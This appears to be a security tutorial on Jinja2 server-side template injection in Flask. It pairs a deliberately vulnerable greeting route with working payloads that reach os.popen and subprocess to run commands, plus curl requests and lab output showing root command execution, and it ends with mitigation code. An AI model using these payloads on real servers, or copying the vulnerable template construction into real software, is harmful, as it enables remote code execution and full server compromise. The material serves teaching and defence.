Python Jinja2 Server Side Template Injection
Jinja2 is the most popular templating engine in the Python ecosystem, used extensively in Flask, FastAPI, and many other web frameworks. It allows developers to embed dynamic content in HTML templates using a simple syntax.
While Jinja2 provides an auto-escaping feature to prevent XSS attacks, it does not protect against Server-Side Template Injection (SSTI) when user input is directly concatenated into template strings before rendering.
The vulnerability occurs when developers construct templates dynamically using untrusted input, rather than passing user data as template variables. This allows attackers to inject Jinja2 expressions that execute arbitrary Python code on the server.
The Vulnerability
Consider a Flask application that generates personalized greeting pages:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/greet')
def greet():
name = request.args.get('name', 'Guest')
# Vulnerable: user input directly embedded in template string
template = f"<h1>Hello, {name}!</h1>"
return render_template_string(template)
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=5000)
The critical flaw is in how the template is constructed:
template = f"<h1>Hello, {name}!</h1>"
return render_template_string(template)
The user-controlled name parameter is embedded directly into the template string using an f-string. When render_template_string() processes this, any Jinja2 syntax in the input will be evaluated.
Exploitation
An attacker can inject Jinja2 expressions to probe the server environment:
# Test for SSTI vulnerability
curl "http://target:5000/greet?name={{7*7}}"
# Response: <h1>Hello, 49!</h1>
If the response shows 49 instead of {{7*7}}, the application is vulnerable to SSTI.
To achieve code execution, attackers traverse Python’s object hierarchy to access dangerous classes. The technique involves:
- Starting from a basic object like an empty string
'' - Accessing its class via
__class__ - Climbing to the base
objectclass via__mro__or__bases__ - Enumerating all subclasses via
__subclasses__() - Finding a class that provides code execution capabilities
# Payload to list available subclasses
{{ ''.__class__.__mro__[1].__subclasses__() }}
A common target is the subprocess.Popen class or classes that import os:
# Find the index of a useful class (varies by Python version)
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id', shell=True, stdout=-1).communicate() }}
A more reliable payload uses the __builtins__ reference:
curl "http://target:5000/greet?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
Or accessing through the request object:
curl "http://target:5000/greet?name={{request.application.__globals__.__builtins__.__import__('os').popen('whoami').read()}}"
Real-World Vulnerable Patterns
SSTI vulnerabilities commonly appear in these patterns:
# Pattern 1: f-string template construction
template = f"Welcome {user_input} to our site"
render_template_string(template)
# Pattern 2: String concatenation
template = "Hello " + user_input + "!"
render_template_string(template)
# Pattern 3: Format string
template = "Dear {}, your order is ready".format(user_input)
render_template_string(template)
# Pattern 4: Percent formatting
template = "User: %s logged in" % user_input
render_template_string(template)
Why SSTI matters from an offensive security perspective
I rank SSTI near the top of my web findings because in Python it rarely stops at template output. Once {{7*7}} renders as 49, I already have an expression evaluator running inside the application process, and the object-graph climb to os.popen turns that into remote code execution under the service account. That is full server compromise, not a reflected string, so I treat any reflected math as a critical lead.
The places I find it are predictable once I know the pattern. These are the tells I audit for:
render_template_stringwith anything but a literal first argument. An f-string, a+concatenation, a.format(), or%building the template body is the bug. Data belongs in the second argument, never the first.- Reflected input that evaluates instead of echoing. I send
{{7*7}},${7*7},{7*7}, and#{7*7}across parameters and headers; a rendered49for the Jinja2 syntax pins the engine immediately. - Email, PDF, and report generators. Subject lines, invoice fields, and “personalized” templates are where developers concatenate user data into template source most often, and these paths are frequently unauthenticated.
- Error pages and admin previews. Custom branding and notification templates let lower-privileged users supply template text that renders in a higher-privilege context.
The defender takeaway is blunt: user input must always be a template variable, never part of the template source, and a sandbox is a second line, not the fix.
Proof of exploitation
Run the lab app (PyFuLabs/flask-fu/flask-jinja2-ssti) and send a Jinja2 expression in name, which is concatenated into the template source:
curl -sG "http://pyfu.local/flask-fu/flask-jinja2-ssti/greet" --data-urlencode "name={{7*7}}"
<h1>Hello, 49!</h1>
The object-graph climb from a global reaches os and executes a command:
curl -sG "http://pyfu.local/flask-fu/flask-jinja2-ssti/greet" \
--data-urlencode "name={{cycler.__init__.__globals__.os.popen('id').read()}}"
<h1>Hello, uid=0(root) gid=0(root) groups=0(root)
!</h1>
Mitigation
Never embed user input directly into template strings. Pass user data as template variables:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/greet')
def greet():
name = request.args.get('name', 'Guest')
# Safe: user input passed as variable, not embedded in template
template = "<h1>Hello, {{ name }}!</h1>"
return render_template_string(template, name=name)
When user input is passed as a variable, Jinja2 treats it as data, not code. The {{ name }} placeholder is replaced with the escaped value of the name variable, preventing any injected expressions from being evaluated.
For additional protection, use Jinja2’s sandboxed environment when rendering untrusted templates:
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("<h1>Hello, {{ name }}!</h1>")
output = template.render(name=user_input)